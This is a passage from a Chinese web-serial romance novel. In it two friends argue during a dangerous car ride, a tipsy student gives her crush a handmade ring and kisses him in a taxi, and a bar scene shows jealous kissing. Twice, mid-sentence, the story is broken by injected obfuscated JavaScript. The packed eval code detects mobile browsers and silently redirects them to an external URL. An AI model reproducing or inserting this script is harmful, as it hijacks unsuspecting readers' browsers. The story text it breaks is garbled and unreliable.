“你别说了,好猥琐。”蒋商鉴也不晓得这海星怎么一遇到良家妇女就变成如此猥琐模样,真的恶心死了。 “我也觉得,我就一烂黄瓜,那些正儿八经女孩子追我不嫌脏?浪子回不了头的,一个个觉得能征服我,让我收心,多冒昧啊你说这不是?”海星攥着安全带。 蒋商鉴皱眉,就当耳朵进屎,一低头瞅见那一排贴了各种实验溶剂标记贴按钮一愣,刚刚系好安全带有些慌乱松开,颤着声:“你考的驾照是不是买的?” “……”海星略显尴尬,“就是不咋记得按钮对应功能,标记一下好。” “我打车去。”蒋商鉴很惜命。 海星直接锁了车门,猛踩油门。 蒋商鉴发出尖锐爆鸣声:“卧槽,能不能找个安静的地方自杀,不要祸害别人。” “洒洒水啦。”海星一脸无所谓。 过一会儿,蒋商鉴甚是无语敲敲车窗,扭头瞪了一眼:“现在黑嘛?” 海星茫然道:“不黑啊。” 蒋商鉴一副哄孩子模样,还是那种极端无语下被气笑,格外礼貌:“不黑您干嘛开远光灯呢。” “……”海星赶紧关上。 “你猜猜我俩最后在殡仪馆停尸床上被整容的时候心情是怎样的?”蒋商鉴紧紧攥着车窗壁顶扶手,吓得瞳孔都放大,掌心微微发出冷汗。 “毛没长齐的生理男性居然还挺会和我开车?”海星感慨。 和你开车? “……”蒋商鉴微微哑然,“这我就当作夸奖接纳吧。” “我工位边上那姑娘喜欢我,我要不要追?”海星虽然紧张到额头冒汗,连声音都发颤着,还说话缓解情绪。 蒋商鉴紧紧攥着扶手,身体也排斥地往座椅上贴紧:“办公室小姑娘喜欢你的证据,不是她路过你的工位撩了下头发对吧?” “她真喜欢我。”海星嘴硬得很。 蒋商鉴蹙眉打破他幻想:“……我记得有种病叫桃花癫。” “……”海星绷紧注意力,拐弯时候四处看看,“那她总对我笑。” “那个,没有恶意哈,就是单纯问一下,小姑娘喜欢你这件事,她自己知道吗?”蒋商鉴真反感这种下头行为,人家小姑娘对你笑,就不能是喜欢笑? “不是,她老看我。”海星笑嘻嘻解释着,眼里全是光线。 “放屁,别他娘的扯谈,撅着□□望天,有眼无珠。”蒋商鉴真受不了这一脑子黄色废料般猥琐想法,毫不留情讽刺道,“你再瞎琢磨,管不住脑壳,我就把你□□那玩意剁了喂狗。” “她还主动加我微信呢~” “那是你新提一辆帕拉梅拉!” “啊,为钱啊?” “不然?难道是爱情?” “不能?” “你脑阔里装满大便,这个就是爱情?爱你卖麻花子情,早不找你,晚不着你,偏偏你提个车的这个时候找,你脑壳昏?” 蒋商鉴气得飙方言。 虽然是骂人,听着却像撒娇。 他家那地区男的都是耙耳朵的围裙战神。 “商商,我好累。”海星懒得再装一副吊儿郎当模样,“谁来图钱就让她图吧,我只剩钱了。” “哦。”蒋商鉴不搭理他每日emo,起初还担心他跳楼总哄着,后来就麻木了。 “你好冷漠。”海星哭唧唧指控。 “有话赶紧说。”蒋商鉴表情极为冷淡。 “唉,你对倪旖什么感觉?”海星叹息。 蒋商鉴没回答,他想到倪旖,就有一种类似饥饿的感觉,像一支注射弯针勾住肠胃,只是轻轻地钩住你的胃粘膜,调皮地一拉一扯,没让你出血,没让你死亡,但就是那种小打小闹,不让你痛得一下失去知觉,只是让你摆脱不了那种吞沙绝望感。 “你问倪旖有没有表姐堂姐什么的,让我也勾搭上富婆吧。”海星攥拳咳嗽两声,“阿姨那一辈,也行。” “海星,我够烦了,别让我脑袋痛。”蒋商鉴不想继续这个话题,扭头朝窗外。 “我知道,您不在乎倪旖家室,只喜欢她聪明的生物脑袋,但她家要没钱怎么娇养出她这样的小天才?”海星嗤笑,就这么毫不留情戳破他的掩饰。 突如其来,一刹车,随着惯性往前摔,肩骨勒着安全带,恐惧伴随着疼痛感骤然来袭,鸡皮疙瘩瞬间四起,头皮跟着发麻,周身也竖起汗毛。 一刹那,蒋商鉴仿佛被瞬间扼住喉咙,无法呼吸。 “sorry~”海星扶额很是习惯。 “放我下去。”蒋商鉴冷冰冰道。 “5分钟就到。”海星瞥一眼后视镜。 “……我怕我撑不过5分钟。”蒋商鉴要死要活瞪着海星,真怕这条命今天折在这里。 等车停稳后抠着门锁就下去。 蒋商鉴垂眸,叹息,往前走两步,弯腰耷拉脑袋,探头,很认真隔着副驾驶解释:“海星,你不要如此堕落下头,就算那个评标的suki拒绝你的求爱。” 海星突然被如此认真神情弄得不自在,摸摸后脑勺,尬笑:“我是什么用情专一的人嘛?别把我想得多高尚,我就一人渣。” 蒋商鉴那副笃定眼神死死盯着他。 “看我干嘛?”海星特不自在转移视线,人一尴尬就会格外忙碌,他死命翻东西。 “我每晚到你宿舍敲门,你嘻嘻哈哈拉我搓麻将,那很棒。但我一天中最棒的时刻只有十秒,从实验室到你宿舍门口,每次我敲门,都希望你不在。” 蒋商鉴晓得海星堕落后就爱待宿舍里狂吃垃圾食品,满嘴让人膈应的下头话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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点开录音,怕真出事儿吃不了兜着走,总得留点证据。 许珊头像挺逗。 一个粉红短耳朵兔子对着影子说,既然你跟我一样,那你替我上班去。 父母辈微信头像一般都是风景或者孩子照片。 有可能是有俩微信号,这私人号。 不过倪旖那可爱多性格绝对是遗传。 “许珊老师,倪旖她在交通局,让我去捞她,我刚好顺路经过,先跟您说一声。”蒋商鉴谦虚礼貌说道。 “进局子比回家还勤,”许珊略带无语感慨一句,“谢谢小蒋,我给箴箴打电话让他陪着一起来,麻烦了。” 虽说是感谢,可是蒋商鉴不知道的是,倪旖周边有二十四小时保镖轮岗,全都是特种兵退伍,战斗力贼强。 大户人家小姐不可能一个人出行。 一堆人偷偷保护着。 就连靠近她的人老底子都被抖搂。 包括……蒋商鉴。 蒋商鉴点点头,抬脚进交通局院,远远就瞅见倪旖瘫软靠椅子上,背影还挺落寞孤独的,想着想着就加快步速几乎是小跑着进去,半蹲她面前傻了眼。 “……” 倪旖垂眸嘎嘣脆吃着薯片,嘴角一圈都是番茄味碎屑,懵圈道:“前男友啊。” 倪旖故意耍了一个小心眼子。 “……”蒋商鉴心瞬间寒透了。 这真是醉驾,醉到认不出人。 “你是专门捞我的吗?”倪旖问。 “不是,”蒋商鉴起身缓缓坐椅上靠着,“闯红灯,我来交罚款。” “哦。”倪旖短短一个字就表露满满的失望,连刚刚湿漉漉的星星眼也一瞬间黯淡陨落,“……真不文明,还闯红灯。” 有你不文明? 自行车走机动车道,还醉驾。 蒋商鉴偏头,轻问她:“你要不要喝水?” 蒋商鉴气息温热,缓缓飘过来,落到倪旖的侧脸上。 一瞬间,薄薄肌肤下的毛细血根仿若根根炸开。 倪旖脖颈完全不敢转动。 踟蹰片刻,倪旖字斟句酌编辑起语言来:“还行。” 就是这刻意思考显得疯癫。 问你要不要,你说还行。 是挺疯癫。 “真不要嘛?”低低绽开在耳边的声音,大约是离得太近,带着几分不甚真切的缱绻。 “拧不开嘛。”倪旖嘟囔着,偷偷瞥一眼那瓶盖,不知何时早就被拧开。 倪旖手摁在后背不锈钢边缘,粗糙的壁磨得她指腹隐隐作疼,可她却只感受到了疼痛后的灼热感。 蒋商鉴怕耽误警察工作,压着声,气息细细缕缕包裹过来,他头偏了偏,鼻尖擦着她脸侧过去:“拧开了。” 倪旖攥着塑料瓶轻抿了小口。 俩人靠等候椅上时候她就揪着蒋商鉴衣服不放,一个劲的冲着他傻笑。 那时候蒋商鉴脑海里闪过的第一个想法竟然是,如果唐僧留在女儿国,女儿国国王喝醉酒会不会跟她一样笑得像个傻子…… 撒娇的女孩最好命,只会说卧槽的女孩注定命途多舛。 倪旖不说话还是很惹人疼的。 “小孩子还是不要喝酒了,对脑子可能会不好。”蒋商鉴摸摸她脑壳,微微俯身笑道。 “你才脑残。”倪旖嘬饮矿泉水,糯糯唧唧嘟嚷着。 蒋商鉴一愣:“小孩子骂人很不好。” 倪旖长得很显小,所以他总是不自觉称呼她为小孩子。 其实也正常,当你刚上大学,那些大二学姐学长都会称呼小一岁的你为小孩的。 “哼。”倪旖很倔犟。 蒋商鉴用指尖戳戳她喝水时挤出来的脸颊肉,惊讶道:“你脸上肉会晃诶。” 倪旖其实有长大了开窍了的感觉,被说她脸上的肉会晃悠的时候,此刻,她恨不得给他一拍子!怎么孩子也到青春期了,又不是小朋友,听见谁这么说都笑不出来了吧,白眼瞪一下。 “我先去交罚款。”蒋商鉴起身去窗口处找工作人员,胳膊肘撑着窗台小水泥台探头往里看,“我是倪旖父母委托来赎的,这是我身份证,还有倪旖母亲委托记录,您可以打电话确认是否本人。” 倪旖等着他办手续,然后去路边转角找箴箴,他打车过来保证她安全。 “走。”蒋商鉴顺手拎过她书包。 路灯将他们的影子拉得很长,蒋商鉴腿很长还低头敲字,倪旖渐渐被他落下,跟在他身后。 倪旖踩着蒋商鉴的影子,一步一步地跟着他往前走。影子忽明忽暗,有时会被建筑物多和梧桐树挡住路灯光而消失一瞬,但下一秒,倪旖总是能精准找到影子位置。 就是闲着无聊。 想踩爆他的头。 也许有点小秘密。 据说踩着别人的影子,就可以在一起很久很久。 也不明白为什么这么想,只是蒋商鉴很独特,她想对他好。 28.suki 酒吧的顶灯被刻意调暗了,空气里浮着柑橘香水与龙舌兰的涩。 海星回到宿舍冲了凉就拎包去kasa酒吧。 他后颈黏着汗,指尖无意识摩挲着冰镇啤酒瓶身凝结的水珠,他本该盯着自己刚吻过的红发女孩,可余光里全是三米外的suki。 那男孩正被某个金发男抵在吧台边接吻。 那是suki男友。 他在朋友圈见过。 suki的喉结在吞咽对方舌尖时细微滚动,睫毛抖得像被雨打湿的蝶翅。 她今天应该也涂了樱桃味的润唇膏吧? 海星喜欢这个味道,第一次他们分享同一支烟,那层甜腻曾短暂蹭过他下唇。 此刻那抹红被人吻得发亮,仿佛融化的蜜糖。 金发男的手掌正掐着她纤细腰线,布料摩擦声混着喘息钻进耳膜。 海星垂眸,突然攥紧酒瓶,玻璃在掌心发出濒临爆裂的轻响。 这个动作让suki掀起眼皮,目光如同带电的蛛丝,隔着人群精准缠上他咽喉。 两人的视线在交错的唇齿间绞紧。 海星感觉有团火从脊椎烧上来,他报复般扣住红发女孩的后脑加深亲吻,犬齿擦过她下唇时尝到血腥味。 可当他半眯起眼睛,看见的却是suki骤然绷直的脖颈。 suki正用虎牙轻碾着金发男的耳垂,瞳孔却一瞬不瞬锁着他,虹膜在迷离跳动的灯光下泛着潮湿,像暴雨前膨胀的云。 suki咬住他喉结的力度像要撕出血,掌心却温柔地托住他后脑。 “樱桃味快被吃光了。”suki喘息着仰头,眼神迷离,任由金发男用拇指重重擦过她肿胀的唇,“你可以重新涂满。” 某种冰凉的妒意刺入胸腔。 海星突然推开怀里的人,任由女孩踉跄着撞倒高脚凳。 骚动声里,suki轻笑一声,舌尖缓慢舔过水光淋漓的唇角。 这个动作让他抓狂,他几乎要冲过去掐住那截泛红的脖子,用更暴烈的啃咬覆盖所有不属于他的痕迹。 可最终停住了。 烟草与海盐须后水的味道突然浓烈起来,他的呼吸卡在喉咙里。 窗外雷声碾过城市,局域性暴雨终于落下来。 此刻,城市那一头,橘子晴朗。 倪旖看着蒋商鉴的背影,捏着塑料薯片包装纸的两指紧了紧,而后把纸轻轻丢进垃圾桶里。 收回手时,她摸了摸兜里硬币。 硬币的铁质感有一层薄薄的温,上面沾着一点点不易察觉的汗液。 弄湿了指尖。 心也跟着湿漉漉的。 春雨似的,迅疾猛烈。 倪旖指腹用力捏两下。 蒋商鉴还是挺在乎她的。 “前男友。”倪旖都快跟不上。 蒋商鉴回过神才发现,小孩丢了。 听见她那称呼,反而走得更快。 倪旖紧跑慢跑,小喘气跟一边,抬眸时眼珠微微往左边偏转,十分有神。 额头一凉,倪旖声音戛然而止。 蒋商鉴两只手指并拢在一起,探了一下她额头。 倪旖额前乱发被手指推到一边,露出完整眼睛,瞬间少了几分骨里戾气,笑起来乖软可爱。 “你是醉了还是发烧?”蒋商鉴瞅她那脸颊跟猴屁股似的发红,真唬人。 “醉啦。”倪旖说着便装迷糊,顺势往边上倒,等他抬手捞又靠他怀里。 蒋商鉴隐约察觉不对劲,还是半拖半拽扶着她,隔着差不多50米,瞅见路口路灯下有个男孩,是当时在手机屏里看到的那个。 “倪箴。”蒋商鉴出口道。 “唉!”倪箴迈大步奔跑过来,赶紧扶着自己亲姐,这混账玩意儿真是有教人不放心的,骑自行车都能被抓局子里。 “箴箴,见过你前姐夫,你之前见过的。”倪旖装疯卖傻偷偷试探,眼睫颤着无论哪个角度都带点笑意。 蒋商鉴真信她是醉了。 不醉也不能这么疯癫。 倪箴肠子弯弯绕绕多,还没想就已经扯明白之间的关系,哄着说:“嗯,眼光真好。” 倪旖趁着醉意行凶,嚷嚷着:“我是你亲姐,不是你撩的妹,别装得跟拖拉机似的。” 直接贴脸开大排斥弟弟那气泡音。 这也不是装就青春期公鸭嗓变异。 “……”倪箴直接开摆,“前姐夫啊,你送她回家吧,死了就丢垃圾桶,少了她,我就能独吞财产。” “孽畜,”倪旖持续说疯话,“要不是我小时候贪图那块面包,就不会接受他俩的忽悠去奶奶卧室睡。” 一块面包丧失一半家产。 真的悔死她了。 “夜黑风高夜,真挺适合杀人,你动手还是我动手?”倪箴瞅着她那样就烦,她一沾酒就变成酒蒙子,处于清醒和疯癫之间,说正常也不正常。 “……”蒋商鉴将人搀扶,“留到过年吧。” 倪旖还说什么就被捂住嘴塞进出租车里,随时装迷糊,可真迷糊起来,四周瞥着就找不着后座安全带在哪儿。 蒋商鉴蹙眉嫌她手笨,就探头穿过后背,给她死死捆住。 倪旖眼神冷飕飕的,估摸着有点小情绪,这是要炸毛,再不顺毛捋一捋,可能今天一整天都不会再搭理他。 倪旖困到泅红双眼,打了个哈欠以后眼睛水水的,眼尾弧度阔开,眼角微勾,睫毛蔫巴巴地耷拉着。 “我错了。”蒋商鉴再次认怂。 跟小孩没法讲道理。 直接道歉完事儿。 倪旖单手撑着膝盖托着脑袋,指尖敲了敲腮帮子,抬手转过自己书包带,抬眸时眼睫毛湿漉漉的。 “伸手,我给你块蛋糕。” 蒋商鉴十分懵圈地蜷缩着掌心。 倪箴在一边也看热闹似的。 “箴箴要不要?”倪旖询问。 倪箴还不懂自己姐,摇头道:“你这招数只对前姐夫有用,对我没用。” 倪旖展示一下自己左掌心:“看好哦,我手上有两块蛋糕。” “不信,没有,什么都没有。”倪箴很坚定地说。 倪旖也不反驳,继续展示手掌,缓缓道:“好的,我把包装纸拆开,把蛋糕拿出来,箴箴把手伸出来。” 倪箴乖乖捧着掌心伸出来。 倪旖一边比划个勺子姿势,一边挖勺空气蛋糕往嘴里咀嚼:“箴箴帮我拿一下包装盒,我尝一下。” 蒋商鉴就托着手搁边上看热闹。 “嗯,蓝莓味的,”倪旖很满足道,又将空气勺子怼到蒋商鉴嘴边,“商商尝一下,甜嘛?” 蒋商鉴被叫小名儿,鬼使神差地就点头,耳朵整个一红透,跟烫着似的。 还没发现有什么不对劲。 “甜。” “箴箴现在信我手上有两块小蛋糕吗?”倪旖见弟弟满脸懵圈,还特乖巧地托手掌等着。 “不信。”倪箴觉得自己跟傻子似的被耍,满脸绝望地摆头。 倪旖带着藏不住的笑意问:“那你为什么要帮我拿包装盒?” “……”倪箴见自己忘收回的掌心发愣,用指关节托着下巴憋笑不已,属实没想到还有这茬。 蒋商鉴深深望她,眼里全是笑意。 倪旖转移问题,脸涨得红红的,手往后背了背藏起了什么东西:“商商信不信我手上有两块小蛋糕?” 蒋商鉴点头。 “商商把手伸出来,我分你一块小蛋糕。”倪旖见他上了套儿,指关节死死揪住偷偷藏在身后那掌心冰金属物。 蒋商鉴伸出左手掌心。 倪旖作势将左手掌蛋糕移一块到他掌心,然后松开右掌,那个微微闪着光的小戒指就直接掉落他掌心。 蒋商鉴瞳孔微微放大。 那一瞬间,蒋商鉴想到好多,要是戴着紧,就晚上不吃饭减肥,要是松,就多吃好几顿饭,他愿意为了不值钱的小小一枚手工戒指削足适履。 倪旖笑道:“左无名指能戴,你洗试管时我估量过,童话里就是拿着那只掉落的鞋子寻找意中人的。 倪箴惊讶得冒脏话,合着成为他们play中一环,仍死鸭子嘴硬反驳:“但是这是一枚戒指。” “这是我在漫展上亲手做的。”倪旖略显骄傲。 倪箴将战火转移,问蒋商鉴:“哥哥啊,这是戒指,不是小蛋糕啊。” 蒋商鉴手掌仍然伸着都忘记缩。 “蛋糕在这里。”倪旖从包里捏着蓝莓味小蛋糕放在蒋商鉴掌心。 倪箴无话可说,输得一败涂地,扶着下巴思考人生那瞬间瞅见前方模模糊糊运送一个物体。 “箴箴忘了嘛,姐姐说过手里有两块小蛋糕的呀。”倪旖从包里又掏出块蓝莓蛋糕给他,笑得极其温柔可爱。 倪箴盯着那块蛋糕,瞳孔还忘记缩回来,很郑重宣布:“姐姐,我永远是你最忠实的奴仆。” 蒋商鉴那刻着实被撩到,真的会。 被迷得死死的。 倪旖趁着他俩脑中多巴胺激素直线上升,趁热打铁道:“箴箴,信不信我手上有根红绳?” 一秒钟不到,倪箴抢答:“信!我信!姐姐说什么我都信。” “那商商信吗?”倪旖眼里有光。 蒋商鉴点点头。 “那咱仨一人扯着一头。”倪旖叫那个空气红绳分别递给他俩攥着,等他俩都乖乖用拇指和食指捏住后再套路,笑道,“箴箴往后拽,有点松。” 倪箴极度配合,缓慢往后拉了拉。 “哎呀,箴箴使点劲,还是松的,都拖到靠背上。”倪旖认真的语气就像是在哄孩子。 倪箴根本瞅不见这红绳,便随意往后一扯,拉的幅度还挺大。 倪旖假装惯性直接凑上去亲了一下蒋商鉴唇,就短短的那一瞬间,微微凉的触感传到脑仁,鼻尖萦绕着他淡淡香味,也许是体香。 “箴箴,你拉得太使劲了。” “……”倪箴都呆住,合着自己原来真是个工具人,小蛋糕哄都不管用。 真的是图穷匕现。 “现在相信了吗?”倪旖又问。 蒋商鉴整个人都呆愣,后脑勺因为突然刹车重重磕在头枕上,却感觉不到疼。 倪旖也顺势载进他怀里。 此刻所有感官都集中在两片微凉的柔软上。副驾驶的倪箴倒吸冷气声、车载香薰的柑橘味、安全带勒住胸口的压迫感都消失了,只剩唇间清甜的酒酿。 倪旖带着湿意的呼吸扑在鼻尖。 蒋商鉴手指深深陷进座椅,喉结上下滚动时蹭过她微张的唇。 直到倪旖歪着头退开半寸,他才勉强回神。 “……信了。”他听见自己陌生的声音,尾音被突来的颠簸撞碎。 倪旖醉眼朦胧地笑起来,指尖点在他剧烈起伏的胸口:“商商心跳好快哦。” 玻璃色指甲映着跳动的颈动脉。 蒋商鉴慌乱抓住她手腕,又被滚烫的体温灼得松开。 车载广播音乐交通电台突然切到爵士乐,萨克斯颤音惊醒了凝滞的空气。 蒋商鉴别过脸看向窗外,玻璃上却映出倪旖支着下巴的侧影。 她正用拇指反复摩挲下唇,泛着水光的唇釉让他喉间发紧。 倪箴突然从后座扔来薄荷糖,铁盒砸在腿上的钝痛终于让蒋商鉴回神。 “司机开快点,”倪箴叹息,“……我姐快吐了。” 他手忙脚乱剥开糖纸,甜辣冲上鼻腔时才发现指尖在发抖。 后视镜里倪旖正蜷成猫儿似的打哈欠,cosplay裙摆蹭过他西裤发出窸窣轻响。 他忽然想起生物课上讲过的多巴胺分泌,此刻每个细胞都在叫嚣着陌生的欢愉。 蒋商鉴笑得跟个大傻子似的。 倪箴瞅着蒋商鉴整个一沦陷状态,他都无语了。 蒋商鉴侧着头,额贴着玻璃窗,微微眺望远处,锁骨削瘦清晰,外套半掩住轮廓,可紧促呼吸声仍然暴露懵逼。 他被亲了! 蒋商鉴耳边嗡嗡响两声,没什么表情地盯着窗外飞驰而过树影,世界都变得模糊起来。他现在严重自责,他对她是不公平的,之前为了所谓公平去贬低她,怀疑她学术成就使她变得低微,以减轻他自己的挫败感。 这么好的小女孩怎么会做那种事情?都怪自己太狭隘。 突然,手机震动起来。 蒋商鉴思绪猛地被拽回,微微睁了睁眼,忽然大口呼吸,像岸边垂死挣扎的鱼。 蒋商鉴瞥一眼手机屏的消息。 许珊老师:倪旖接到了吗? 蒋商鉴:嗯,接回来了。 许珊老师:谢谢.JPG。 许珊老师:转账。 蒋商鉴点击收账。 给了5000。 蒋商鉴准备记好账,慢慢归还。 直接推脱显得虚假,不收钱更假。 像是别有所求,比如攀高枝。 还是不要乱想,就碰到嘴唇而已,跟碰到胳膊一个样的,不要太保守,何况倪旖国外长大,接吻很正常的,那她是不是也跟别人亲嘴,很随意就碰到,为什么有点难受?关你什么事嘛……蒋商鉴自欺欺人,使劲攥拳逼迫自己脑袋不要神游。 “姐啊,色字头上一把刀,你不收敛点,迟早死在男人怀里。”倪箴头扭在一边,明显不高兴,幽幽道。 “我是色得多明显?”倪旖眼睫毛湿漉漉的,说出来的话让人吓一跳。 倪箴凑到他耳边,用仅两人可听到的声音轻声道:“继续装。” “没。”倪旖就非不认坑。 “以后你结婚,连钻戒都不用买,直接用嘴咬他无名指就行了,毕竟你的嘴比钻石还硬。”倪箴淡淡道,可字里行间中却带着一点点咬牙切齿。 倪旖装晕顺便靠他怀里睡觉。 蒋商鉴往边上躲躲,瞅着她估计睡得比较沉,抬眸懒懒地问她弟:“你姐平时不挨揍嘛?” 倪旖毛茸茸的发顶抵着他下颌,温软的脸颊隔着衬衫透来体温。 他屏住呼吸慢慢低头,看见她鼻尖泛着醉酒后的薄红。 倪箴淡淡道:“几乎没被揍过,她不仅头铁,拳头还硬。” “……”蒋商鉴默然。 倪旖睁眼,不过片刻,又继续阖眼休息,只屈腿往前踹了脚。 “哥哥,我姐就颠,这是纸巾,来擦擦嘴巴,脏兮兮的。”倪箴从姐姐包里翻出一沓散装纸,眼神也充斥着纯洁与清澈。 “没事儿。”蒋商鉴用手擦擦唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240809|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没有接过纸巾,毕竟没湿口水。 倪箴欲言又止,那口红印在唇上还蛮明显的,貌似他不咋介意。 “哥哥,咱交换一下微信吧。”倪箴说着便掏手机展示二维码。 蒋商鉴从兜里摸出手机扫码,用小号添加,写好备注。 倪旖弟弟,倪箴,警局,拖拉机。 备注尽量准确。 怕下次见到忘记,很麻烦。 不过,应该不会忘记。 “哥哥,你吃过晚饭啦?”倪箴偏头看一眼窗外流动风景,朦胧月色浸泡着树影,路越来越熟悉,往前拐个弯,在小区门口停一下就成。 “回学校吃。”蒋商鉴随意道,等车停下将躺成烂泥的倪旖扶下车。 “哥哥,你能把她背起来吗?我还要长个子,负重前行容易挫。”倪箴找一些无厘头理由顺遂姐姐小心思。 “行。”蒋商鉴半蹲将人背起来。 倪箴跟在一边,扫指纹进别墅群,一直跟在边上:“哥哥,前面转两个弯就到,先左拐,然后直走再左拐。” “倪箴,会煮醒酒汤吗?”蒋商鉴攥着拳托着她腿弯,怕碰到不该碰的,时刻保持警惕。 “……”倪箴抬眸时很懵圈,“这汤名字好奇怪,醒酒是什么酒,好喝吗?” 那表情无懈可击,跟甜妹似的,蒋商鉴就一整个无语,这姐弟都不碰厨房啊,轻声道:“家里有绿豆吗?” “是绿颜色豆子?”倪箴依旧懵。 “嗯。”蒋商鉴决定暂停聊天框。 “哥哥,我等会儿做饭给你吃,我厨艺非常棒,能将方便面做成108种款式,是不是很厉害?”倪箴炫耀道。 “比如?”蒋商鉴怕他来真的。 倪箴沾沾自喜道:“经典款式,方便面加火腿肠,用开水冲。” “典藏款呢?”蒋商鉴刷新认知。 “方便面加火腿肠,用锅煮。”倪箴有一点点郁闷,连表情都失落。 “有区别?”蒋商鉴转不过弯。 “当然有,”倪箴就快跳起来振振有词解释,“……开燃气灶很难。” “右拧不会?”蒋商鉴面色复杂。 “当然不是,”倪箴难以启齿,揉揉脑壳微微散乱的头发,淡淡道,“你没发现开燃气灶很危险吗?那一瞬间,非常恐惧。” “……”蒋商鉴敷衍道,“开燃气灶是挺恐怖的哈~” “同道中人。”倪箴情感较迟钝。 “你父母不在家,你们这几天都点外卖吃,不嫌麻烦?”蒋商鉴真怕这姐弟俩短短两天暴瘦十斤。 “是挺麻烦,外卖进不了家里,晚上都是姐姐驱使我。”倪箴屈居于暴力之下,虽然习惯了,可得抱怨两句。 “晚上没吃?”蒋商鉴就瞅着他那样,耳朵里钻来左手边肚子咕咕叫声。 “昂,电烧热水器居然坏掉。”倪箴傻傻地咳嗽两声。 “你有摁开关吗?”蒋商鉴问。 “有开关吗?”倪箴一愣。 “……”蒋商鉴往左拐。 “这么高级啊。”倪箴很意外。 蒋商鉴往左瞥一眼,觉得他有一种未被知识浸染的可爱,跟傻妞似的。 外面海风有点儿大,树影在昏黄路灯下摇曳。 蒋商鉴抬眸就瞅着倪旖头发没扎起来,随意披散下来,带着一点点自然卷,头顶被光线染上层短小可爱绒毛。 “我拿冰棍给哥哥吃。”倪箴见蒋商鉴额头有层薄汗。 倪旖迷迷糊糊说梦话:“有哈根达斯谁还吃中国破冰混,拿哈根达斯去。” “你歇着吧你。”蒋商鉴一整个大无语。 察觉气氛冷得骇人。 倪箴谨遵姐姐教诲。 “哥哥,我给你唱首歌吧。” “嗯。” “大貔貅,大貔貅,大貔貅,恭喜发财,送你个大貔貅,喝白酒,喝啤酒,喝红酒,喝洋酒……” 蒋商鉴满脸错愕。 倪箴丝毫不觉着丢人,还蛮骄傲。 蒋商鉴撑了一路总算到她家。 次啦—— 椅子和地面摩擦,空调还未关,嗡嗡嗡转着,在这种安静又朦胧氛围下,客厅响起一道慵懒又清冷的声音。 “倪箴,你家还有什么?我给你做完晚饭再走。”蒋商鉴生怕这俩一个模子刻出来的傻妞一晚上给饿死。 “谢谢哥哥。”倪箴就等着呢,楚楚可怜撒娇,“可恶,我想有个哥哥,却偏偏有个泡面都得我帮她煮的姐。” “换做是我还要让你再煎个蛋加俩肠,普通的泡面我都不吃的。”蒋商鉴真喜欢这可爱小男生,不像他那面相一看就是逆子的家教学生,便开玩笑着。 “要是你是我亲哥,我乐意给你煮泡面,煮出花来都行。”倪箴就嘴甜。 蒋商鉴将倪旖安置在沙发上,就起身去厨房煮饭,抬手摁住冰箱顶外开,里面蔬菜不少,就是姐弟俩太懒。 倪旖好嫉妒,这种死绿茶语气好难学会,算了,不学了,这种性格女人属于那种男人一边背后骂她是矫情嘤嘤怪,一边暗地里动她坏脑筋。 家里黑猫酱崽儿蹦哒两下,就在面前晃悠,倪旖看不惯直接把猫捞过来囚禁在怀里,只是一手滑,猫咪又越狱。 都快半夜,作业只写了一张语文卷子,放茶几一摞书籍最上面,被猫撕了。 好,放在最上面是我的错。倪旖压制要揍猫冲动,咬着牙自我说服,这个试卷不是明天交,还有个周末可以抢救的,撕了就撕了吧。 猫咪玩耍得到挺嗨。 倪旖耐着性子拿胶带粘好,放到那一摞书中间。 还没过两秒,猫咪便扑上来,倪旖就眼睁睁地看着猫从一摞书一堆卷子里面挑出唯一写完的那张,那迅雷不及掩耳之势的速度,给那试卷咬了好几个牙印。 “找打。”倪旖就抱怨两声,也不动手,跟个猫叫个什么劲,没意思。 倪箴顺道去厨房找冰箱下层哈根达斯吃,就那满满一大碗拿勺挖,冰冰凉凉钻入口腔连天灵盖都通畅。 “哇塞,哥哥好厉害啊。” “哇塞,哥哥真棒。” “哇塞,哥哥还会颠锅唉。” “哇塞,哥哥做饭好好吃哦。” …… 倪箴丝毫不吝啬自己夸赞言语。 讲真的,蒋商鉴干活越干越来劲。 貌似在一声声夸奖中逐渐迷失自我。 倪箴靠着灶台不得劲儿,就搂着他胳膊靠上去,累得满脸倦色还陪着,主打一个陪伴,不能让他一个人干活。 情绪价值拉满。 不像懒虫倪旖,能躺就不愿意坐。 “你尝尝咸淡。”蒋商鉴将筷子递过去。 倪箴攥着筷子依旧不撒手,吃那好吃的孜然年糕鸡翅,幸福得都快冒泡,就抱着他胳膊一直晃来晃去。 “太好吃啦。” “倪箴!”难得长点心的倪旖抱手靠门边观察许久,气得脑壳都冒烟,脑袋晕晕乎乎。妈的,再等下去,他俩倒是凑成一对。 “姐,你也要来一块吗?”倪箴特懂姐姐感受,故意绿茶精上身,夹着孜然鸡翅笑得呆蠢。 “起开!”倪旖听着弟弟那声音,气得狮子咆哮起来,倪箴那嗓子都快夹冒烟,还哥哥长,哥哥短。 29.诱惑 “干嘛凶我,哥哥你看,姐姐凶我,好凶好凶啊,我有点害怕。”倪箴见状躲在他身后,跟个死绿茶婊子似的偷偷做鬼脸,还悄摸吐舌头挑衅。 “你干嘛叫哥哥?”倪旖阵阵无语,幸亏那是亲弟,不然早就掐死这逼玩意。 “长得帅的都是哥哥。”倪箴夹着嗓子撒娇。 这话说的确实不错,哥哥这昵称形容长得帅的非常棒,要是丑那么一点都不合适,显得油腻。倪旖甩过去一个眼刀,威胁意味十足。 倪箴悻悻地蹲着,随后端着一盘鸡翅就离开,还是一副楚楚可怜小绿茶模样,其实他就喜欢鸡翅而已,对男人没啥玩意兴趣,硬件都一样,有什么探索欲望。 “哥哥~”倪旖鸡皮疙瘩掉一地。 蒋商鉴往侧边躲躲,嫌弃要命。 倪旖顶着微醺状态一下砸他怀里,连脸颊都带暧昧丝丝红晕,抬眸时眼睫湿漉漉的,在头顶灯光照射下亮晶晶。 